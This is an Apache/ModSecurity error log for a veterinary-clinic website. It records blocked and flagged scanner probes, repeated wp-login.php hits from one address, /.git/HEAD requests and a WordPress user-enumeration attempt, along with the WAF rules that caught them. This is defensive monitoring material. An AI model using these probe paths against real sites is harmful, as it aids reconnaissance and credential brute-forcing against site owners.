[Fri Feb 27 08:53:39.260480 2026] [:error] [pid 54101:tid 54115] [client 147.135.128.94:58904] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aaDrE1Y5qgRktcYTGFu7gQAAAcc"]
[Fri Feb 27 08:53:41.578089 2026] [:error] [pid 62998:tid 63025] [client 147.135.128.94:58924] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aaDrFVQeueXZDUmoLom9MgAAARc"]
[Fri Feb 27 08:53:44.054722 2026] [:error] [pid 54102:tid 54162] [client 147.135.128.94:58944] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aaDrGHi74D4fiYUm_GfVPQAAAJI"]
[Fri Feb 27 08:53:46.389484 2026] [:error] [pid 54103:tid 54180] [client 147.135.128.94:58968] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aaDrGuvG4MPCmE0B2sDvqAAAAMk"]
[Fri Feb 27 08:53:48.892500 2026] [:error] [pid 62998:tid 63010] [client 147.135.128.94:60456] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aaDrHFQeueXZDUmoLom9VwAAAQg"]
[Fri Feb 27 08:53:51.374366 2026] [:error] [pid 56075:tid 56097] [client 147.135.128.94:60470] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aaDrH8KBhrfI6KNv9RgZPAAAABM"]
[Fri Feb 27 08:53:53.679381 2026] [:error] [pid 62998:tid 63004] [client 147.135.128.94:60486] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaDrIVQeueXZDUmoLom9aAAAAQI"]
[Fri Feb 27 08:53:55.998176 2026] [:error] [pid 62998:tid 63023] [client 147.135.128.94:60514] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aaDrI1QeueXZDUmoLom9cQAAARU"]
[Fri Feb 27 11:09:49.741136 2026] [:error] [pid 54103:tid 54192] [client 43.163.104.54:49242] [client 43.163.104.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaEK_evG4MPCmE0B2sAnTQAAANU"]
[Fri Feb 27 11:25:37.685175 2026] [:error] [pid 62998:tid 63018] [client 146.19.106.52:47448] [client 146.19.106.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.19.106.52, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaEOsVQeueXZDUmoLomKuQAAARA"]
[Fri Feb 27 13:03:11.925587 2026] [ssl:error] [pid 62998:tid 63020] [client 107.173.171.201:33210] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://www.macfieldsvet.com.au/
[Fri Feb 27 13:32:45.203139 2026] [:error] [pid 56075:tid 56100] [client 35.198.41.118:53762] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.198.41.118, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaEsfcKBhrfI6KNv9RjpNwAAABY"]
[Fri Feb 27 14:24:25.873703 2026] [:error] [pid 49306:tid 49332] [client 13.70.40.215:8648] [client 13.70.40.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-editor.php"] [unique_id "aaE4mfnSUDZue59Px9s03gAAAVg"]
[Fri Feb 27 14:24:26.380833 2026] [:error] [pid 54103:tid 54176] [client 13.70.40.215:5371] [client 13.70.40.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-editor.php"] [unique_id "aaE4muvG4MPCmE0B2sBkFQAAAMU"]
[Fri Feb 27 14:24:26.880623 2026] [:error] [pid 52073:tid 52079] [client 13.70.40.215:7377] [client 13.70.40.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-editor.php"] [unique_id "aaE4moa650YPyxXVeRYQowAAAYM"]
[Fri Feb 27 14:24:27.383286 2026] [:error] [pid 52073:tid 52095] [client 13.70.40.215:4504] [client 13.70.40.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-editor.php"] [unique_id "aaE4m4a650YPyxXVeRYQpgAAAZM"]
[Fri Feb 27 14:52:07.049035 2026] [:error] [pid 54231:tid 54245] [client 212.36.76.11:37900] [client 212.36.76.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.36.76.11, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaE_F-Tvb5AeyJCdY7C-ugAAAEs"]
[Fri Feb 27 15:04:50.762862 2026] [:error] [pid 56075:tid 56094] [client 221.229.106.25:58678] [client 221.229.106.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaFCEsKBhrfI6KNv9RgNRwAAABA"]
[Fri Feb 27 15:50:28.492641 2026] [:error] [pid 52073:tid 52093] [client 43.153.104.196:44972] [client 43.153.104.196] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaFMxIa650YPyxXVeRZYUwAAAZE"]
[Fri Feb 27 16:03:11.941271 2026] [:error] [pid 49306:tid 49322] [client 216.177.141.187:38538] [client 216.177.141.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.177.141.187, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFPv_nSUDZue59Px9tyxAAAAU4"]
[Fri Feb 27 16:52:12.195620 2026] [:error] [pid 54102:tid 54156] [client 134.209.145.63:53662] [client 134.209.145.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.145.63, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFbPHi74D4fiYUm_GdLDwAAAIw"]
[Fri Feb 27 16:54:32.542804 2026] [:error] [pid 52073:tid 52083] [client 185.93.89.110:33078] [client 185.93.89.110] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/services//.git/HEAD"] [unique_id "aaFbyIa650YPyxXVeRaBrAAAAYc"]
[Fri Feb 27 17:04:19.459706 2026] [:error] [pid 62998:tid 63019] [client 54.215.238.21:57546] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFeE1QeueXZDUmoLon4UAAAARE"], referer: https://www.google.com/
[Fri Feb 27 17:04:25.840604 2026] [:error] [pid 62998:tid 63009] [client 54.215.238.21:57546] [client 54.215.238.21] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aaFeGVQeueXZDUmoLon4ZQAAAQc"]
[Fri Feb 27 17:04:26.024066 2026] [:error] [pid 62998:tid 63022] [client 54.215.238.21:57546] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFeGlQeueXZDUmoLon4ZgAAARQ"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:04:40.377788 2026] [:error] [pid 52073:tid 52087] [client 54.215.238.21:58389] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFeKIa650YPyxXVeRaJlgAAAYs"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:04:53.497222 2026] [:error] [pid 62998:tid 63004] [client 54.215.238.21:58852] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFeNVQeueXZDUmoLon4hAAAAQI"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:05:06.801784 2026] [:error] [pid 52073:tid 52098] [client 54.215.238.21:59338] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFeQoa650YPyxXVeRaJ8AAAAZY"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:05:19.886455 2026] [:error] [pid 52073:tid 52077] [client 54.215.238.21:59782] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFeT4a650YPyxXVeRaKWgAAAYE"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:05:32.909375 2026] [:error] [pid 52073:tid 52080] [client 54.215.238.21:60248] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFeXIa650YPyxXVeRaKogAAAYQ"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:05:46.328337 2026] [:error] [pid 52073:tid 52093] [client 54.215.238.21:60762] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFeaoa650YPyxXVeRaLDwAAAZE"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:06:00.124057 2026] [:error] [pid 49306:tid 49314] [client 54.215.238.21:61399] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFeePnSUDZue59Px9uOYQAAAUY"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:06:13.367556 2026] [:error] [pid 56075:tid 56101] [client 54.215.238.21:62092] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFehcKBhrfI6KNv9Rg43AAAABc"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:06:26.570856 2026] [:error] [pid 49306:tid 49326] [client 54.215.238.21:62778] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFekvnSUDZue59Px9uOmAAAAVI"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:06:39.788342 2026] [:error] [pid 52073:tid 52089] [client 54.215.238.21:63498] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFen4a650YPyxXVeRaLtQAAAY0"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:06:52.882236 2026] [:error] [pid 49306:tid 49318] [client 54.215.238.21:64202] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFerPnSUDZue59Px9uO4QAAAUo"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:07:05.021955 2026] [:error] [pid 52073:tid 52080] [client 54.215.238.21:64844] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFeuYa650YPyxXVeRaL6AAAAYQ"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:07:18.556195 2026] [:error] [pid 49306:tid 49330] [client 54.215.238.21:49256] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFexvnSUDZue59Px9uPewAAAVY"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:07:31.719221 2026] [:error] [pid 62998:tid 63014] [client 54.215.238.21:49909] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFe01QeueXZDUmoLon5DgAAAQw"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:07:45.162529 2026] [:error] [pid 52073:tid 52086] [client 54.215.238.21:50505] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFe4Ya650YPyxXVeRaMSAAAAYo"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:07:58.759918 2026] [:error] [pid 52073:tid 52086] [client 54.215.238.21:51121] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFe7oa650YPyxXVeRaMZgAAAYo"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:08:11.907386 2026] [:error] [pid 54103:tid 54185] [client 54.215.238.21:51710] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFe--vG4MPCmE0B2sB6qAAAAM4"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:08:25.125582 2026] [:error] [pid 52073:tid 52089] [client 54.215.238.21:52262] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFfCYa650YPyxXVeRaMrAAAAY0"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:08:38.299125 2026] [:error] [pid 52073:tid 52086] [client 54.215.238.21:52819] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFfFoa650YPyxXVeRaM1wAAAYo"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:08:51.524180 2026] [:error] [pid 52073:tid 52076] [client 54.215.238.21:53464] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFfI4a650YPyxXVeRaM_QAAAYA"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:09:04.747823 2026] [:error] [pid 49306:tid 49326] [client 54.215.238.21:54114] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFfMPnSUDZue59Px9uQcgAAAVI"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:09:18.011863 2026] [:error] [pid 54103:tid 54175] [client 54.215.238.21:54768] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFfPuvG4MPCmE0B2sB6tgAAAMQ"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:09:31.216624 2026] [:error] [pid 56075:tid 56084] [client 54.215.238.21:55370] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFfS8KBhrfI6KNv9Rg5dgAAAAc"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:09:44.588590 2026] [:error] [pid 49306:tid 49324] [client 54.215.238.21:55931] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFfWPnSUDZue59Px9uQpwAAAVA"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:09:57.833953 2026] [:error] [pid 52073:tid 52087] [client 54.215.238.21:56549] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFfZYa650YPyxXVeRaOIQAAAYs"], referer: https://vetstars.com.au/wp-login.php
[Fri Feb 27 17:12:14.226544 2026] [:error] [pid 54102:tid 54144] [client 91.122.53.173:49796] [client 91.122.53.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aaFf7ni74D4fiYUm_GdM8wAAAIA"]
[Fri Feb 27 17:59:42.513405 2026] [:error] [pid 52073:tid 52093] [client 89.185.138.75:46938] [client 89.185.138.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.185.138.75, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFrDoa650YPyxXVeRatLwAAAZE"]
[Fri Feb 27 18:25:12.412261 2026] [:error] [pid 56075:tid 56096] [client 211.21.61.244:45270] [client 211.21.61.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.244, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFxCMKBhrfI6KNv9RhQ_QAAABI"]
[Fri Feb 27 18:30:35.465472 2026] [:error] [pid 49306:tid 49332] [client 146.190.155.17:39530] [client 146.190.155.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.190.155.17, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaFyS_nSUDZue59Px9u70gAAAVg"]
[Fri Feb 27 18:47:55.445745 2026] [:error] [pid 49306:tid 49309] [client 192.250.239.237:52828] [client 192.250.239.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.239.237, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaF2W_nSUDZue59Px9vEBwAAAUE"]
